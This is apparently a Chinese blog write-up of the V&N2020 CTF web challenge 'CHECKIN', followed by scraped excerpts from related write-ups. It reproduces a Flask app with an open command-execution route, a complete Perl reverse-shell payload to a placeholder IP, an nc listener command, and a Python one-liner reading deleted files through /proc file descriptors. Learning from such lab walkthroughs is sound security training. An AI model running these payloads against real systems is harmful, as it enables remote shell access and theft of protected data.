[V&N2020 公开赛]CHECKIN

[V&N2020 公开赛]CHECKIN --s1mple

那天,我见过的最强剑客,提起了天下最强的宝剑······却早已没了剑心。

知识点 反弹shell;;文件描述符;;

这里先引入一个知识点;文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;;

一道V&N的题目,这道签到题目,其实并不是签到题目。我们打开页面看到源码,是基于flask框架

from flask import Flask, request
import os
app = Flask(name)
flag_file = open("flag.txt", "r") //这里的代码很重要,进程里面执行了打开的命令;--s1mple
# flag = flag_file.read()
# flag_file.close()
#
# @app.route(‘/flag‘)
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route(‘/shell‘)
def shell():
os.system("rm -f flag.txt") //删除了flag.txt --s1mple
exec_cmd = request.args.get(‘c‘)
os.system(exec_cmd) //命令执行 --s1mple
return "1"
@app.route(‘/‘)
def source():
return open("app.py","r").read()
if name == "main":
app.run(host=‘0.0.0.0‘)

发现有几个路由;简单审计代码,发现当进到/shell的时候,会将flag.txt进行删除,然后再是我们的命令执行;我们可以使用GET传参c进行代码执行,但是下面的返回Return永远是1;这里发现我们没有办法执行代码得到我们想要的回显,就想到了反弹一个shell;这里我提供几种反弹shell的方法;

一般有如下几种;;

bash perl python php nc 一般是这五种反弹的方式,当然还有其他的,要视情况而定,看看服务器存在什么环境,看看是否有什么过滤,然后对应采取相应的措施;这里经过测试,发现赵师傅(glzjin)过滤了 bash nc 所以我们这里采用其他的方式进行反弹shell;

我这里用perl反弹成功;;贴上反弹的payload;;

perl -e ‘use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘ &

注意要写入对应的ip和端口,进行接收相互式的shell;这也是我们这里使用 -i 的原因;;

登陆本地的服务器 root 123456 进行相应的端口监听 nc -lvp 9999 开启监听;

在服务器执行上面的payload 进行shell的反弹,接收效果如下;;

我们进行查看,发下我们所处的目录之下有一个py和txt文件,这里就需要读取相应的进程文件打开的记录目录了;一般情况下,我们可以使用lsof来查看我们打开过的文件;因为我们没有权限,只是app权限,所以我们只能另想别的办法;又想到因为服务器存在py环境,所以我们直接执行py脚本进行查询 python3 -c "import os;[os.system(‘cat /proc/‘+str(i)+‘/fd/3‘) for i in range(20)];" 进而得到flag;;

这里的py单行命令简单的将就是实现/proc/[pid]/fd 的类似遍历;读取前二十条数据,-c 也就是执行单行命令;类似于bash -c 一样;;这里直接搜索读取到flag;

不是在代码的最后哦,,向上看几行。。。。

原文地址:https://www.cnblogs.com/Wanghaoran-s1mple/p/12514481.html

时间: 2024-11-14 11:56:11

[V&N2020 公开赛]CHECKIN的相关文章

刷题记录:[V&N2020 公开赛]EasySpringMVC

题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp 从一道题入门JAVA反序列化漏洞 V&N公开赛2020 writeup Java反序列化 深入了解序列化writeObject.readObject.readResolve 总结一下,如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义

[V&N2020 公开赛] Web misc部分题解

0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮箱填上buu内网的邮箱以admin账户登陆.然后修改密码,给我们注册的邮箱发送邮件,去内网邮箱处登陆,点击链接修改密码.这样平台真正的admin账户就被修改了. 我们以用户名admin,密码为我们刚刚修改的登陆.找到flag. CHECKIN perl 脚本反弹shell: 链接: https://

BUUCTF--[V&N2020 公开赛]strangeCpp

测试文件:https://www.lanzous.com/iauqjsd 代码分析 先找到程序运行显示处的代码 1 // 个数,数组,环境变量 2 __int64 __fastcall sub_140013AA0(__int64 a1, __int64 a2, __int64 *a3) 3 { 4 char *v3; // rdi 5 signed __int64 i; // rcx 6 __int64 v5; // rax 7 __int64 v6; // rax 8 __int64 v7;

3. System V IPC

System V IPC包含三种类型的IPC:System V消息队列.System V信号量.System V共享内存区 1. key_t键和ftok函数 三种类型的System V IPC使用key_t值作为名字.头文件<sys/types.h>定义key_t为一个至少32位的整数.函数ftok把一个已存在的路径名和一个整数标识符转换成一个key_t值,称为IPC键 #include <sys/ipc.h> key_t ftok(const char *pathname, in

Price Control V or S in Material Type (Price control in material master )

When is it useful to use the price control V or S in Material Master?  Do I have to follow the SAP standard setting in the material type for the following material types: - ROH (Raw materials) -> moving average price - HALB (Semifinished products) ->

11g v$wait_chains 与 hanganalyze

11g之后,通过v$wait_chains视图诊断数据库hang和Contention 11g之前,通常我们数据库hang住了之后,我们会对数据库做hang analyze来进行分析,在11g之后,我们可以通过一个新的视图v$wait_chains来诊断数据库hang和contention.在11gR1这个版本里面,Oracle通过diag进程实现了一个功能,每隔3秒做一次本地的hang analyze,每隔10秒做一次global的hang analyze.而这些信息会存放在内存里面,Orac

Hyper - V (四)

安装虚拟机 新建虚拟机 为新建的虚拟机起名,默认保存路径为前面设置的默认路径 指定虚拟机内存大小 指定虚拟机网卡连接到外部网络还是内部网络(或专用网络) 创建虚拟硬盘,指定硬盘存储路径及硬盘大小 选择安装文件的引导路径,支持光盘安装,ISO安装等方式. 这里我们选择通过光驱引导的方式来安装系统 完成虚拟机设置. 右键点击新建的虚拟机,设置可以更改虚拟机的配置选项. 将ISO文件加载到虚拟机中,即可以实现光盘引导功能. 启动虚拟机-- 安装系统 Hyper - V (四),布布扣,bubuko.c

大v用户数据统计分析

1,统计数据的基本情况,包括微博总数,用户总数,最活跃和最不活跃的用户id #!/bin/sh source_dir=/home/minelab/data/DATA source_file_name=userinfo_00_au_1_out source_file=$source_dir/$source_file_name #source_file=test.src out_dir=/home/minelab/liweibo/daV out_file_name=basic_satic.txt o

雪球平台——5家医疗器械公司v.1.0

雪球平台--5家医疗器械公司v.1.0   负责人:李悦 合伙人:乔天娇.王丹 签约员工:乌力吉.许俊平     摘要: 本小组针对雪球平台5家关于医疗器械的公司分析报告,并对产业进行分析研究,我们要判断医疗器械行业的前景和公司实力是否匹配,来决定我们投资就业的研究价值.   进度看板 ü 李悦    ---   收集整理5家以上关于医疗器械的上市公司 ü 乔天娇 ---   整理资料,列出医疗器械公司的清单 ü 王丹   ---   5家公司的行业前景 ü 乌力吉  ---   5家公司的实力